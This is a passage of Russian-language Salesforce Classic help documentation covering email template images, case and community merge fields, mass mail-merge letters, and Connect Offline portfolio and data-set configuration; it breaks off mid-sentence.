Visualforce недоступны в
версиях: Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
HTML-шаблонов эл. почты:
• «Редактирование

HTML-шаблонов»

Для создания илиизменения
шаблонов эл. почты
Visualforce:
• «Настройка

приложения»

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

HTML-шаблоны эл. почты ишаблоны эл. почты Visualforce поддерживают добавление
изображенийилилоготипов. Прииспользовании HTML-шаблоновсфирменнымбланком
логотипы или изображения извлекаются из фирменного бланка, выбранного
пользователем при созданиишаблона.

При создании настраиваемых HTML-шаблонов или шаблонов Visualforce рекомендуем
добавить теги img, ссылающиесянаизображение. Настоятельнорекомендуемзагружать
изображения на вкладку «Документы», а затем использовать ссылки на копии
изображений, хранящихся на сервере Salesforce. Например, при использовании
HTML-шаблона:

<img src="https://na2.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>

При использованиишаблона Visualforce:

<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
height="64" width="64"/>
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Поля слияния для обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные поля слияния
определяютсяиспользуемой
версией Salesforce.

Список доступных полей слияния определяется типом используемых данных.
Большинство полей слияния полностью соответствует полям обращений. Таблица
ниже содержит дополнительные поля слияния, которые отображают значения,
извлеченные из обработанных обращений.

ОписаниеПоле слиянияПоле

Статьи, связанные с обращением и
преобразованные во вложения PDF.

Нажмите кнопку «Отправить сообщение
эл. почты» в связанном списке «Сообщения

Case.Articles_as_PDFsСтатьи как
документы
в формате
PDF

эл. почты» на странице сведений об
обращенииивыберитешаблон, содержащий
данное поле слияния. Предварительный
просмотр и удаление вложений могут быть
выполнены до отправки сообщения эл.
почты.

Поток всех сообщений эл. почты, в которых
контакт обращения является отправителем

Case.Email_ThreadПоток эл.
почты

или получателем (поле «Кому», «Копия»
или «СК»). Сообщения эл. почты
отображаются в обратномхронологическом
порядке, поэтому последние сообщения
доступны вверху потока. Сообщения эл.
почты представлены в потоке текстовыми
версиями. Данное поле слияния не может
использоваться на страницах Visualforce.

Ниже перечислены ограничения для потока
сообщений эл. почты.

• Максимальноеколичествосообщенийэл.
почты: 200

• Размер усеченного текста сообщения эл.
почты: 32 Кб

Описание последнего комментария,
добавленного к обращению.

Case.Last_Case_CommentПоследний
комментарий
к
обращению

Вложения для решений по обращениям.Case.Solution_AttachmentsВложения
для
решений

Сведения о решении, связанном с
обращением. Если обращение связано с

Case.Solution_DescriptionОписание
решения
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ОписаниеПоле слиянияПоле

несколькими решениями, то список содержит описание всех
решений.

Заголовокрешения, связанногособращением. Еслиобращение
связано с несколькими решениями, то список содержит
заголовки всех решений.

Case.Solution_SubjectТема решения

Заголовок и сведения о решении, связанном с обращением.
Еслиобращениесвязаноснесколькимирешениями, то список
содержит заголовок и описание всех решений.

Case.Solution_Subject_and_DescriptionТема и описание
решения

Ссылки на тему и описание каждого предложенного решения,
котороеможет бытьполезноприрешениипроблем клиентов.

Case.Suggested_SolutionsПредложенные
решения

Прим.: Sending mass emails using templates with the
suggested solutions merge field can take several minutes and
isn’t recommended.

Уникальныйидентификатордляпотока сообщенийэл. почты
в функции Email-to-Case. Код потока — это уникальный код

Case.Thread_IdКод потока
обращений

каждого сообщения эл. почты, содержащего обращение.
Например, [ref:_DV0Txx._500V0U9YB:ref]. По умолчанию код
потока добавляется в тему и основной текст сообщения.
Обычно код потока располагается в конце основного текста.
Данноеполеслиянияпозволяетперемещатькодпотокавдругие
области основного текста.

Примечания по полям слияния для обращений

Поля слияния для прав по обращениям
Права по обращениям не поддерживают поля слияния. Например, поле слияния «Имя права
{!Case.Entitlement}», добавленное в шаблон эл. почты, не заполняется в шаблоне.

Поля слияния дляфункции Email-to-Case или On-Demand Email-to-Case
Если организация использует функцию Email-to-Case или On-Demand Email-to-Case, то пользователи могут создавать
шаблоны эл. почты, позволяющие агентам службы поддержки отвечать на полученные сообщения эл. почты,
содержащиеобращения. Данныешаблонымогутсодержатьполяслияния, которыедобавляютсведенияизисходного
сообщения эл. почты в ответ. См. раздел «Управление шаблонами эл. почты» на странице 1836.

Поля слияния дляфункции Web-to-Case
Чтобы добавить ссылку на имя, адрес эл. почты, телефон или компанию клиента, отправившего интерактивное
обращение посредством функции Web-to-Case, воспользуйтесь соответствующим полем
{!Case_OnlineCustomer...}. Чтобы добавить ссылку на контакт или организацию, связанную с обращением,
воспользуйтесь соответствующими полями слияния контакта или организации.
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Поля слияния для сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При необходимости добавьте поля слияния в шаблоны эл. почты сообществ.

При включении сообществ Salesforce в организации система создает три текстовых
шаблона эл. почты.

• Сообщества: сообщение эл. почты об изменении пароля

• Сообщества: сообщение эл. почты о восстановлении пароля

• Сообщества: приветственное сообщение эл. почты

Данные шаблоны используют уникальные поля слияния. Данные поля слияния
недоступны для выбора и копирования при редактированиишаблона, но могут быть
добавлены вручную. Данные поля слияния работают эффективно только при их
использовании в текстовом или HTML-шаблоне, выбранном для сообщества.

ОписаниеИмя поля

Имя сообщества, введенное при создании сообщества.{!Community_Name}

URL-адрес для страницы входа сообщества. Например,
https://acme.force.com/partners/login.

Если данное поле слияния используется приветственным
сообщением эл. почты, которое отправляется новому

{!Community_Url}

внешнемупользователю, то URL-адресдополняетсяссылкой
на страницу восстановления пароля.

Данное поле заполняется только при выполнении одного
из перечисленных ниже условий.

• Шаблон, содержащий данное поле, выбирается как
шаблон приветственного сообщения эл. почты для
сообщества и устанавливается флажок «Отправить
приветственное сообщение эл. почты».

• Шаблон, содержащий данное поле, выбирается как
шаблон сообщения эл. почты об изменении или
восстановлении пароля, а сообщение эл. почты
отправляется внешнему пользователю, являющемуся
участником сообщества.

Имяпользователяполучателяприветственногосообщения
эл. почты.

{!Receiving_User.Username}

При необходимости создайте настраиваемыешаблоны эл. почты для сообществ посредством Visualforce, позволяющего
использоватьнастраиваемыйфирменныйстиль компаниившаблонах эл. почты. Прииспользованиишаблона эл. почты
Visualforce рекомендуем использовать тип глобального поля слияния $Network и его свойства (см. таблицу ниже).

ОписаниеИмя поля

Имя сообщества, введенное при создании сообщества.$Network.Name
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ОписаниеИмя поля

URL-адрес для страницы входа сообщества. Например,
https://acme.force.com/partners/login.

Если данное поле слияния используется приветственным
сообщением эл. почты, которое отправляется новому

$Network.NetworkUrlForUserEmails

внешнемупользователю, то URL-адресдополняетсяссылкой
на страницу восстановления пароля.

Данное поле заполняется только при его использовании в
шаблоне эл. почты Visualforce для одного из трех типов эл.
почты, поддерживаемых сообществами.

Еслисообществоиспользуетобращения, утвержденияилибизнес-правила, то сообщенияэл. почты, созданныенаоснове
шаблона эл. почты, использующего поля слияния {!<any_object>.Link} или {!Case.Link}, содержат ссылку
на запись в сообществе. Если получатель сообщения эл. почты является участником нескольких активных сообществ,
то ссылка открывает самое давнее активное сообщество. При выборе ссылки в сообщении эл. почты после выполнения
входавсообществоссылкаоткрываетсоответствующеесообщество. Еслипользовательнеявляетсяучастникомсообщества,
то ссылкаоткрывает внутреннююорганизацию. Еслипользователь является участникомпорталаи сообщества, то ссылка
открывает сообщество.

ОписаниеИмя поля

Область использования:{!Case.Link}

• Уведомленияконтактовиответственныходобавлении
комментариев к обращениям

• Уведомления контактов о создании и обновлении
обращений

Область использования:{!<any_object>.Link}

• Запросынаутверждение, отправленныеответственным
за утверждения и делегированным ответственным за
утверждения

• Электронные предупреждения бизнес-правила

Чтобы проверить использование полей стандартных писем в шаблонах электронных писем, откройте настройки и
введите строку «Шаблоны эл. почты» в поле «Быстрый поиск», затем выберите пункт «Шаблоны эл. почты», после
чего щелкните «Правка» напротив любого шаблона.

СМ. ТАКЖЕ:

Настройка сообщений электронной почты, отправляемых из сообществ

Управление шаблонами эл. почты

Настройка сообщений электронной почты, отправляемых из сообществ

Управление шаблонами эл. почты
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Пакетное создание документов стандартных писем с помощью
расширенных стандартных писем

ВЕРСИИ

Данная функция доступна
только в интерфейсе
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного создания
документов стандартных
писем:
• «Управление

общедоступными
документами»

Прим.: Функция «Расширенные стандартные письма» позволяет создавать
документы стандартных писем. Доступ к функции «Расширенные стандартные
письма» предоставляется только по запросу. Чтобы включить даннуюфункцию,
обратитесь в службу поддержки Salesforce.

Крометого, функция «Расширенныестандартныеписьма»доступнапользователям
только после активации администратором.

Функция «Расширенные стандартные письма» позволяет одновременно создавать
документы Microsoft® Word (например, стандартныеписьмасконвертамииметкамиадреса)
для разных записей.

1. Откройте вкладку «Организации», «Контакты» или «Интересы». В настоящее время
другие типы записей не поддерживаются.

2. Чтобы запустить мастер пакетного создания стандартных писем, щелкните ссылку
«Пакетное создание стандартных писем» в разделе «Инструменты».

3. Выберите соответствующее списковое представление в раскрывающемся списке
«Просмотр».

4. Выберите записи для добавления в стандартное письмо. Чтобы выбрать все записи
на текущей странице, установите флажок в заголовке столбца.

5. Нажмите кнопку «Далее».

6. Выберите нужные типы документов Word. Поддерживаемые типы документов: документы, конверты и метки.

7. Чтобы зарегистрировать создание данных документов стандартных писем путем добавления выполненной задачи
для каждой записи, установите флажок «Регистрировать...».

8. Нажмите кнопку «Далее».

9. Выберите соответствующиешаблоны стандартных писем.

При создании документов выберите создание одного документа Word, содержащего все записи, или отдельного
документа Word для каждой записи.

10. Чтобы просмотреть документ Word с полями слияния, но без данных, щелкните «Предварительный просмотр
шаблона». Обратите внимание, что, несмотря на доступность отрытого документа Word для редактирования, данные
изменения не применяются к текущему запросу на создание стандартных писем. Чтобы разрешить использование
нового шаблона для создания стандартных писем, рекомендуем сначала загрузить шаблон.

11. Нажмите кнопку «Готово».

Прим.: Еслиразмер запросапревышаетограничение, установленноедляфункции «Расширенныестандартные
письма», то система отображает предупреждение о необходимости выбора меньшего количества записей или
шаблонов меньшего размера.

Система Salesforce уведомляет пользователя о готовности созданных документов по эл. почте. Если размер документов
стандартных писем...

• не превышает 3 Мб, то система Salesforce отправляет их получателям в виде документа Word (.doc) или архивного
файла (.zip). Еслиразмер вложенияпревышаетмаксимальнодопустимыйразмер, установленныйдля организации,
илиадминистраторорганизациивыбирает вкладку «Документы» какобласть сохранениявсехдокументовстандартных
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писем, то созданныедокументыавтоматическисохраняются системой Salesforceнавкладке «Документы». Пользователь
получает сообщение эл. почты, содержащее ссылку на документ.

• превышает 3 Мб, то система Salesforce сохраняет документы в личную папку на вкладке «Документы».

Рекомендации по использованию стандартных писем
Функция «Расширенныестандартныеписьма»поддерживает следующиедополнительныесреды: веб-обозреватель Mozilla
Firefox и операционная система Apple Mac. Более того, даннаяфункция не требует установки элемента управления ActiveX.

Расширенные стандартные письма совместимы с Microsoft Word 2007.

• Расширенныестандартныеписьманеподдерживаютшаблоны, сохраненныевформатахфайлов .docx или .dotx.

• Документы стандартных писем предоставляют доступ только к полям, доступным посредством макета страницы и
параметров безопасности.

• Функции «Расширенныестандартныеписьма» неподдерживаютформатированиеполейтипа «Областьобогащенного
текста».

• Использованиестандартныхписемнастраницесведенийозаписиавтоматическиинициируетвыполнениестандартных
бизнес-правилиправилпроверки, заданныхдляданнойзаписи. Данныеправилане выполняютсяприиспользовании
расширенных стандартных писем.

• Ниже перечислены ограничения, установленные для функции «Расширенные стандартные письма».

– 1 000 записей

– Общий размер выбранныхшаблонов стандартных писем не может превышать 1 Мб.

– Припакетномсозданиистандартныхписемобщийразмервыбранныхшаблоновстандартныхписем, умноженный
на количество выбранных записей, не может превышать 50 Мб.

• При предварительном просмотре документа стандартного письма отображается только шаблон. Режим
предварительного просмотра не поддерживает заполнение полей слияния данными пользователя ввиду отсутствия
доступных сведений о записи.

СМ. ТАКЖЕ:

Стандартные письма

Отправка отдельных документов стандартных писем

Отправка отдельных документов стандартных писем

ВЕРСИИ

Данная функция доступна
только в интерфейсе
Salesforce Classic.

Доступно в версиях: все
версии.

Созданиедокументов стандартныхписемспомощьюполейподдерживаемыхобъектов.

Важное замечание: Если в Salesforce отключен протокол TLS 1.0, поддержка
стандартных писем будет отменена. Это означает, что торговые представители
больше не смогут создавать документы стандартных писем в Microsoft® Word. Даже
если у торгового представителя будет доступ к этой функции, Salesforce не будет
ееподдерживатьиобслуживать, покапроблеманебудет устранена. Неволнуйтесь!
Торговыепредставителимогут по-прежнемуработать со стандартнымиписьмами
сданнымиSalesforceприпереходанафункцию «Расширенныестандартныеписьма».

1. Нажмите кнопку «Стандартные письма» в связанном списке «Журнал действий»
соответствующей записи. Даннаяфункция поддерживается организациями, контактами, интересами, обращениями,
возможностями и настраиваемыми объектами.
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2. Чтобы выбрать запись, которая должна использоваться в качестве источника данных, воспользуйтесь функцией
поиска.

3. Выберите шаблон стандартного письма.

4. Нажмите кнопку «Создать».

Еслинастраиваемыйобъект связанс возможностямипосредствомвзаимосвязи «Основная — подробная», тоосновной
контакт возможности выбирается по умолчанию.

5. Затем система Salesforce создает документ.

• Если организация использует функцию «Стандартные письма», то приложение Word открывает созданный
документ. Чтобы сохранить отображаемый документ на жесткий диск, выберите пункт «Сохранить как» в меню
«Файл».

• Если организация использует функцию «Расширенные стандартные письма», а размер запроса превышает
установленноеограничение, то системаотображаетпредупреждениеонеобходимостивыборашаблонаменьшего
размера. При использованиифункции «Расширенные стандартные письма» кнопка «Создать» не открывает
приложение Word. Взамен, система Salesforce отправляет сообщение эл. почты, содержащее созданный документ
Word в виде вложения или ссылку на данный документ на вкладке «Документы».

6. Чтобызарегистрироватьдействиедля стандартногописьма, введитесведенияо задачеипринеобходимостисоздайте
дополнительную задачу.

По умолчанию поле задачи стандартного письма «Тема» содержит имя шаблона стандартного письма, а задача
отображается в виде выполненного действия в связанном списке «Журнал действий». Объединенный документ не
хранится с задачей.

7. Распечатайте и отправьте документ по почте или в виде вложения электронной почты.

Рекомендации по использованию стандартных писем
Функция «Расширенныестандартныеписьма»поддерживает следующиедополнительныесреды: веб-обозреватель Mozilla
Firefox и операционная система Apple Mac. Более того, даннаяфункция не требует установки элемента управления ActiveX.

Расширенные стандартные письма совместимы с Microsoft Word 2007.

• Расширенныестандартныеписьманеподдерживаютшаблоны, сохраненныевформатахфайлов .docx или .dotx.

• Документы стандартных писем предоставляют доступ только к полям, доступным посредством макета страницы и
параметров безопасности.

• Функции «Расширенныестандартныеписьма» неподдерживаютформатированиеполейтипа «Областьобогащенного
текста».

• Использованиестандартныхписемнастраницесведенийозаписиавтоматическиинициируетвыполнениестандартных
бизнес-правилиправилпроверки, заданныхдляданнойзаписи. Данныеправилане выполняютсяприиспользовании
расширенных стандартных писем.

• Ниже перечислены ограничения, установленные для функции «Расширенные стандартные письма».

– 1 000 записей

– Общий размер выбранныхшаблонов стандартных писем не может превышать 1 Мб.

– Припакетномсозданиистандартныхписемобщийразмервыбранныхшаблоновстандартныхписем, умноженный
на количество выбранных записей, не может превышать 50 Мб.
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• При предварительном просмотре документа стандартного письма отображается только шаблон. Режим
предварительного просмотра не поддерживает заполнение полей слияния данными пользователя ввиду отсутствия
доступных сведений о записи.

СМ. ТАКЖЕ:

Стандартные письма

Пакетное создание документов стандартных писем с помощью расширенных стандартных писем

Connect Offline

Приложение Force.com Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

Приложение Force.com Connect Offline позволяет автономно работать над ключевыми
сделками в любом месте и в любое время.

Connect Offline — это клиентское приложение, предоставляющее пользователям доступ
к набору записей Salesforce посредством веб-интерфейса, но без подключения к
Интернету. Приложение Connect Offline позволяет просматривать, редактировать,
создавать и удалять организации, действия, контакты, возможности, интересы и
настраиваемыеобъекты (включая группывзаимосвязи). Крометого, пользователимогут
добавлять и обновлять продукты и расписания для возможностей.

Портфель — это набор записей Salesforce, доступных в приложении Connect Offline.
Администраторы могут создавать конфигурации портфеля, то есть наборы параметров,
которые определяют записи, доступные в портфелях пользователей конкретного
профиля. Организации могут создавать разные конфигурации портфеля и связывать
их с отдельными наборами профилей для удовлетворения потребностей разных типов
пользователей. Например, однаконфигурацияможетсодержатьинтересыивозможности
в портфелях пользователей с профилем «Торговый представитель», тогда как другая
конфигурацияможетсодержатьорганизацииисвязанныевозможностивпортфеляхпользователейспрофилем «Менеджер
по работе с клиентами». Пользователи без назначенных конфигураций портфеля могут настраивать параметры
собственного портфеля Connect Offline и вручную выбирать нужные организации.

Приналичиисетевогоподключенияпользователимогут синхронизироватьпортфелиConnect Offline с системойSalesforce.
Синхронизация инициирует обновление записей, измененных в портфеле, в системе Salesforce, и наоборот. Данное
действие гарантирует доступность в системе Salesforce и приложении Connect Offline самых последних записей. Если
записи, обновленныевпортфелеисистеме Salesforce конфликтуют, топриложениеConnect Offlineотображаетинструмент
разрешения конфликтов, позволяющий пользователям быстро устранить любой конфликт.

Чтобы начать использование приложения Connect Offline, выполните вход в систему Salesforce и установите клиентское
приложение Connect Offline.

СМ. ТАКЖЕ:

Установка приложения Connect Offline

Что такое стандартное содержимое портфеля Connect Offline?

Вход в приложение Connect Offline

Вкладки приложения Connect Offline
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Вход в приложение Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Необходимые
полномочия пользователя

Для просмотра записей в
приложении Connect
Offline:
• «Чтение» для

соответствующего типа
записи (например,
организации, контакты
или возможности)

Для обновления записей в
приложении Connect
Offline:
• «Создание»,

«Редактирование» или
«Удаление» для
соответствующего типа
записи (например,
организации, контакты
или возможности)

1. Последовательно выберите пункты «Пуск» > «Программы» > «salesforce.com» >
«Connect Offline» или дваждыщелкните значок рабочего стола Connect Offline.

Важное замечание: Припервомвходе вприложениеConnect Offline компьютер
должен быть подключен к Интернету.

2. Введите имя пользователя и пароль Salesforce.

Прим.: Если организация использует ограниченный диапазон IP-адресов, то
вход посредством непроверенных IP-адресов возможен только после их
активации. Система Salesforce автоматически отправляет сообщение эл. почты,
содержащее ссылку для входа и маркер безопасности, который должен быть
добавлен в конец пароля. Например, при использовании пароля МойПароль и
маркера безопасности XXXXXXXXXX входможет быть выполнен толькопосле
ввода следующей строки: МойПарольXXXXXXXXXX.

3. Чтобы разрешить приложению Connect Offline отображение имен полей, объектов
и вкладок, измененных в системе Salesforce с момента последнего выбора данного
параметра, установите флажок «Обновить имена вкладок».

Прим.: Система Salesforce автоматическиобновляет вкладкиприпервомвходе.

4. Чтобы синхронизировать портфель Connect Offline с системой Salesforce, установите
флажок «Синхронизировать мои данные».

5. Нажмите кнопку «Вход».
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Конфигурация портфеля

Управление конфигурациями портфеля Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций портфеля
Connect Offline:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления конфигураций
портфеля Connect Offline:
• «Управление

мобильными
конфигурациями»

Конфигурация портфеля Connect Offline — это набор параметров, которые определяют
записи, доступныевпортфеляхотдельныхпользователейипользователейконкретного
профиля. Организации могут создавать разные конфигурации портфеля и связывать
их с отдельными пользователями и профилями для удовлетворения потребностей
разныхтиповпользователей. Например, однаконфигурацияможет содержатьинтересы
и возможности для торговых представителей, тогда как другая конфигурация может
содержатьорганизацииисвязанныевозможностидляменеджеровпоработесклиентами.

Пользователи без назначенных конфигураций портфеля могут просматривать
стандартное содержимое портфеля, а также вручную настраивать параметры
собственного портфеля Connect Offline. Тем не менее, компания Salesforce рекомендует
использовать конфигурации портфеля вместо предоставления пользователям
возможности вручную настраивать собственные автономные портфели, так как
конфигурации портфеля обеспечивают:

• Централизованная конфигурация

• Синхронизацияслюбымнастраиваемымобъектом, вотличиеотпараметровличного
портфеля, поддерживающих только настраиваемые объекты, связанные с
организациями, контактами, возможностями или интересами

• Возможность универсального определения наборов данных путем расширенной
фильтрации

Для управления конфигурациямипортфеля организации введите строку «Конфигурации
автономного портфеля» в поле «Быстрый поиск» в меню «Настройка», затем выберите
пункт «Конфигурации автономного портфеля».

• Чтобысоздатьконфигурациюпортфеля, нажмитекнопку«Создатьконфигурацию
автономного портфеля».

• Чтобы определить набор данных для конфигурации автономного портфеля,
щелкните имя нужной конфигурациипортфеля, а затем нажмите кнопку «Правка»
в связанном списке «Наборы данных».

• Чтобы изменить конфигурацию портфеля, щелкните ссылку «Правка».

• Чтобы удалить конфигурацию портфеля, щелкните ссылку «Удал.».

• Чтобы просмотреть сведения о конфигурации портфеля, щелкните имя нужной конфигурации.

• Чтобыклонироватьконфигурациюпортфеля, выберитенужнуюконфигурациюинажмитекнопку «Клонировать».

• Чтобы активировать конфигурацию портфеля, щелкните ссылку «Правка» напротив нужной конфигурации,
установите флажок «Активно» и нажмите кнопку «Сохранить».

• Чтобы деактивировать конфигурацию портфеля, щелкните ссылку «Правка» напротив нужной конфигурации,
снимите флажок «Активно» и нажмите кнопку «Сохранить».
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Важное замечание: Деактивация активной конфигурации портфеля препятствует синхронизации портфелей
пользователей, назначенных данной конфигурации.

СМ. ТАКЖЕ:

Что такое стандартное содержимое портфеля Connect Offline?

Создание конфигурации автономного портфеля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, изменения
или удаления конфигураций
портфеля:
• «Управление

мобильными
конфигурациями»

1. Введите строку «Конфигурации автономного портфеля» в поле «Быстрый поиск» в
меню «Настройка», затемвыберитепункт«Конфигурацииавтономногопортфеля»,
чтобы открыть страницу списка конфигураций портфеля.

2. Нажмите кнопку «Создать конфигурацию автономного портфеля».

3. Введите имя конфигурации портфеля.

4. Чтобы активировать конфигурацию портфеля сразу после создания, установите
флажок «Активно». Конфигурация может использоваться только после установки
данного флажка.

5. Введите описание конфигурации портфеля.

6. Чтобы назначить пользователей и профили конфигурации портфеля, выберите
нужных участников в области «Доступные участники» и нажмите кнопку
«Добавить». Чтобынайтинужногоучастникаилипрофиль, введитеключевыеслова
вполепоискаинажмитекнопку«Найти». Каждыйпользовательилипрофильможет
быть назначен только одной конфигурации портфеля.

Чтобы удалить пользователя или профиль, который не должен быть назначен
конфигурации портфеля, выберите нужного участника в области «Назначенные
участники» и нажмите кнопку «Удалить».

Внимание: При удалении пользователя или профиля из активной
конфигурации портфеля данные пользователи больше не могут
синхронизировать портфели с данной конфигурацией. При следующей
синхронизации приложение Connect Offline синхронизирует портфели
пользователей со стандартным содержимым портфеля.

При назначении профилей конфигурация портфеля применяется ко всем
пользователям Connect Offline соответствующего профиля и переопределяет конфигурации личных портфелей
пользователей.

7. Нажмите кнопку «Сохранить».

8. Чтобы определить данные, доступные участникам конфигурации в портфелях, рекомендуем создать наборы данных
для данной конфигурации автономного портфеля.

Обратите внимание, чтоконфигурацияавтономногопортфеля активируется толькопосле установкифлажка «Активно».
Чтобы определить записи, доступные пользователям данной конфигурации в приложении Connect Offline, рекомендуем
создать наборы данных для данной конфигурации портфеля.

СМ. ТАКЖЕ:

Управление конфигурациями портфеля Connect Offline

Что такое стандартное содержимое портфеля Connect Offline?
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Определение наборов данных Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра наборов
данных Connect Offline:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления наборов
данных Connect Offline:
• «Управление

мобильными
конфигурациями»

После создания конфигурации портфеля определите наборы данных, чтобы выбрать
записи, которые должны быть доступны пользователям Connect Offline, назначенным
соответствующим профилям.

Набор данных — это параметры конфигурации портфеля, которые определяют записи,
доступныевпортфеляхпользователей, назначенныхконфигурациипортфеля. Каждый
наборданныхсоответствует записямотдельногообъектаи классифицируетсяпоимени
соответствующего объекта. Например, набор данных «Организации» содержит только
записиорганизаций. Фильтрыиограничениявнутрикаждогонабораданныхпозволяют
дополнительно ограничивать записи соответствующего набора данных.

Наборы данных могут иметь дочерние наборы данных для записей, связанных с
родительским набором данных. Например, если первый уровень иерархии содержит
наборданных «Организации», топользовательможетдобавитьдочернийнаборданных
«Контакты», которыйсодержитвсе записиконтактов, связанныес записямиорганизаций.

Одна конфигурация портфеля может использовать несколько наборов данных для
одногообъектанаразныхуровнях. Например, объекту «Интересы» можетбытьназначен
родительский и дочерний наборы данных «События».

Чтобыопределить наборы данных для конфигурациипортфеля, выполните указанные
ниже действия.

1. Введите строку «Конфигурации автономного портфеля» в поле «Быстрый поиск» в
меню «Настройка», затемвыберитепункт«Конфигурацииавтономногопортфеля».

2. Выберите имя нужной конфигурации портфеля.

3. Нажмите кнопку «Правка» в связанном списке «Наборы данных».

4. Ниже перечислены действия, доступные на странице «Наборы данных».

• Добавьте набор данных.

• Чтобыудалитьнаборданных, выберитенужныйнаборданныхинажмите кнопку
«Удалить».

• Чтобы изменить набор данных, выберите нужный набор данных в иерархии. Фильтры для набора данных
отображаются на правой панели.

Изменения, внесенные при определении или редактировании наборов данных, сохраняются системой Salesforce
автоматически.

5. Чтобы определить размер данных, которые должны быть синхронизированы с портфелем пользователя, выберите
нужного пользователя и нажмите кнопку «Оценить размер данных» в разделе «Размер тестовых данных». Размер
набора данных определяет продолжительность синхронизации и объем дискового пространства, занятого на
компьютерах пользователей.

Прим.: По умолчанию поле «Выбрать пользователя» содержит имя текущего пользователя. Рекомендуем
протестировать конфигурацию портфеля посредством учетных записей пользователей, которым она должна
быть назначена.

По завершении тестирования раздел «Размер тестовых данных» содержит сводную информацию о размере набора
данных, а, иерархия наборов данных, расположенная вверху страницы, отображает количество записей, созданных
каждым набором данных, и размер каждого набора данных. Рекомендуем использовать данную статистику для
определениянаборовданных, которыемогут требовать сокращенияразмерапутемввода дополнительныхкритериев
фильтрации.
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Редактирование наборов данных не инициирует автоматическое обновление тестовой статистики в разделе «Размер
тестовых данных». Чтобы обновить результаты тестирования, щелкните «Обновить размер данных».

6. По завершении нажмите кнопку «Готово».

Добавление наборов данных

Чтобы добавить набор данных, выполните указанные ниже действия.

1. Чтобы создать родительский набор данных, щелкните «Наборы данных» в иерархии. Чтобы создать дочерний
набор данных, выберите текущий набор данных.

2. Нажмите кнопку «Добавить...».

3. Выберитеобъект, записикоторогодолжныбытьдобавленывнаборданных, вовсплывающемокне. СистемаSalesforce
позволяет создавать родительские наборы данных для всех настраиваемых и перечисленных ниже стандартных
объектов.

• Организации

• Контакты

• События

• Интересы

• Возможности

• Продукты

• Задачи

• Пользователи

Всплывающееокнодлядочернихнаборовданныхотображает толькообъекты, связанныес выбраннымродительским
набором данных.

Прим.: СистемаSalesforceавтоматическипереноситродительскиезаписиобъектов, еслиданныйтипродительской
записииспользуетсявнабореданных, несмотрянаотсутствиесвязимеждуродительскимидочернимобъектами
в иерархии.

4. Нажмите кнопку «OK». Созданный набор данных добавляется в иерархию.

5. Чтобы ограничить записи, доступные родительскому или дочернему набору данных, воспользуйтесь фильтрами.

a. Чтобы настроить автоматическую синхронизацию записей Salesforce на основе ответственности за запись,
воспользуйтесьпараметром «Фильтроватьпоответственностиза запись». Нижеперечисленывозможныезначения.

• «Все записи». Система Salesforce автоматически синхронизирует все записи, доступные пользователю.

• «Записи пользователя». Система Salesforce автоматически синхронизирует все записи, принадлежащие
пользователю.

• «Записи рабочей группы пользователя». Система Salesforce автоматически синхронизирует все записи,
принадлежащие пользователю и его подчиненным в иерархии ролей.

• «Записи групп пользователя, работающих с организациями». Система Salesforce автоматически
синхронизирует организации, принадлежащие рабочей группе пользователя, но не самому пользователю.

• «Записи групп пользователя, работающих с возможностями». Система Salesforce автоматически
синхронизирует возможности, принадлежащие рабочей группе пользователя, но не самому пользователю.

• «Нет (только поиск)». Система Salesforce не синхронизирует записи набора данных автоматически.
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Система Salesforce отображает только значения, связанные с выбраннымнабором данных. Например, при выборе
набора данных организации отображается значение «Записи групп пользователя, работающих с
организациями», апривыборенабораданныхвозможностиотображается значение «Записи групп пользователя,
работающих с возможностями».

Если автономныйобъект требует комбинациюдоступныхфильтров ответственности за запись, то набор данных
одного объекта может быть добавлен на один уровень иерархии не более четырех раз. Например, менеджеру по
продажамтребуетсясинхронизироватьсобственныевозможности, возможностисвоихподчиненныхивозможности
своей рабочей группы. Рекомендуем добавить набор данных возможности и выбрать значение «Записи рабочей
группы пользователя», затем добавить второй набор данных возможности на тот же уровень иерархии и выбрать
значение «Записи групп пользователя, работающих с возможностями». Обратите внимание, что объекты,
использующие только один фильтр ответственности, не могут быть добавлены на один уровень иерархии
несколько раз.

b. Чтобы автоматически синхронизировать только записи, соответствующие заданному критерию, настройте
критерий фильтрации дополнительно к выбранному значению параметра «Фильтровать по ответственности за
запись». Например, настройтефильтр, охватывающийтолькозаписивозможностей, стоимостькоторыхпревышает
